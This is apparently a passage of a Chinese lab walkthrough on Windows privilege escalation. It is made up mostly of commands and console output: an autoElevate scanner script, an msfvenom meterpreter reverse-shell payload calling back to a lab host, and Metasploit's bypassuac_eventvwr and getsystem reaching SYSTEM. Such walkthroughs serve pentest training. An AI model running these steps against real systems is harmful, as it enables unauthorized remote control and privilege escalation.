if os.path.isdir(d): exefiles = glob.glob(d+'*.exe')
i = 0 for exe in exefiles: p = subprocess.Popen(['sigcheck', '-nobanner','-m', exe],stdout=subprocess.PIPE,stderr=subprocess.PIPE) out, err = p.communicate() if'true</autoElevate>'in out: #will check for xmlns autoelevate as well. Thanks @mynameisv_ print exe.strip() i = i + 1
print"Found " + str(i) + " executables with autoElevate set to true!"
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.43.8 LPORT=4444 -f exe -o x86_shell.exe
root@kali2-2017:/home# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.43.8 LPORT=4444 -f exe -o x86_shell.exe No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of exe file: 73802 bytes Saved as: x86_shell.exe
Id Name Type Information Connection -- ---- ---- ----------- ---------- 4 meterpreter x86/windows WIN-2012\shiyan @ WIN-2012192.168.43.8:4444 -> 192.168.43.106:49165 (192.168.43.106)
6、尝试搜索 bypassuac 相关模块。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
msf5 exploit(multi/handler) > search bypassuac
Matching Modules ================
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 1 exploit/windows/local/bypassuac 2010-12-31 excellent No Windows Escalate UAC Protection Bypass 2 exploit/windows/local/bypassuac_comhijack 1900-01-01 excellent Yes Windows Escalate UAC Protection Bypass (Via COM Handler Hijack) 3 exploit/windows/local/bypassuac_eventvwr 2016-08-15 excellent Yes Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key) 4 exploit/windows/local/bypassuac_fodhelper 2017-05-12 excellent Yes Windows UAC Protection Bypass (Via FodHelper Registry Key) 5 exploit/windows/local/bypassuac_injection 2010-12-31 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection) 6 exploit/windows/local/bypassuac_injection_winsxs 2017-04-06 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS 7 exploit/windows/local/bypassuac_sluihijack 2018-01-15 excellent Yes Windows UAC Protection Bypass (Via Slui File Handler Hijack) 8 exploit/windows/local/bypassuac_vbs 2015-08-22 excellent No Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
msf5 > use exploit/windows/local/bypassuac_eventvwr msf5 exploit(windows/local/bypassuac_eventvwr) > set session 4 session => 4 msf5 exploit(windows/local/bypassuac_eventvwr) > exploit
[*] Started reverse TCP handler on 192.168.43.8:4444 [*] UAC is Enabled, checking level... [+] Part of Administrators group! Continuing... [+] UAC is set to Default [+] BypassUAC can bypass this setting, continuing... [*] Configuring payload and stager registry keys ... [*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe [+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute. [*] Sending stage (179779 bytes) to 192.168.43.106 [*] Meterpreter session 6 opened (192.168.43.8:4444 -> 192.168.43.106:49167) at2019-07-1004:32:42 -0400 [*] Cleaning up registry keys ...
meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >